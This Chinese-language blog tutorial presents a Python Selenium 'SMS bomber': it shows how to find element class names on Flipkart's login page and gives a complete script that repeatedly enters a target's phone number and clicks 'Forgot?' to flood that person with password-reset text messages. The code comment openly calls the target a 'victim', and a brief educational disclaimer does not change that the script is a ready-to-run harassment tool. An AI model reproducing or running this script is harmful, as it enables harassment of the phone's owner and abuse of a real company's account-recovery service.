个性化阅读
专注于IT技术分析

Python使用Selenium的SMS Bomber

在这里, 我们将学习一个简单的SMS轰炸机把戏(出于娱乐和教育目的)。 Selenium是一个免费工具, 可用于跨不同浏览器进行自动化测试。在本教程中, 我们将学习根据给定的频率和间隔自动发送垃圾邮件SMS的数量。

需求:

你需要安装chromedriver并设置路径。按此下载:https://sites.google.com/a/chromium.org/chromedriver/downloads

步骤如下:

首先使用此链接转到flipkart网站:https://www.flipkart.com/account/login?ret=/

然后通过按ctrl + shift + i或进入浏览器设置单击检查元素, 然后手动单击检查元素。

然后找到”输入数字”输入字段和”忘记了?”的类名。链接。我们将在以后使用。

“输入号码”输入字段的第一个类名称
查找“忘记了?”的课程名称。链接

现在, 通过为每个元素放置适当的类名称来运行脚本。

现在, 它将自动将垃圾短信发送到你朋友的手机号码。

注意:本教程仅用于教育目的, 请勿将其用于干扰任何人或任何不道德的方式。

下面是实现:

from selenium import webdriver
import time
  
# create instance of Chrome webdriver
browser = webdriver.Chrome()
  
# set the frequency of sms
frequency = 10
  
# target mobile number, change it to victim's number and
# also ensure that it's registered on flipkart
mobile_number = "1234567890"
  
for i in range (frequency):
     browser.get( 'https://www.flipkart.com/account/login?ret =/' )
  
     # find the element where we have to 
     # enter the number using the class name
     number = browser.find_element_by_class_name( '_2zrpKA' )
  
     # automatically type the target number
     number.send_keys( "1234567890" )
      
     # find the element to send a forgot password
     # request using it's class name
     forgot = browser.find_element_by_link_text( 'Forgot?' )
      
     # clicking on that element
     forgot.click()
      
     # set the interval to send each sms
     time.sleep( 10 )
      
# Close the browser
browser.quit()

首先, 你的面试准备可通过以下方式增强你的数据结构概念:Python DS课程。


赞(0)
未经允许不得转载:srcmini » Python使用Selenium的SMS Bomber

评论 抢沙发

评论前必须登录!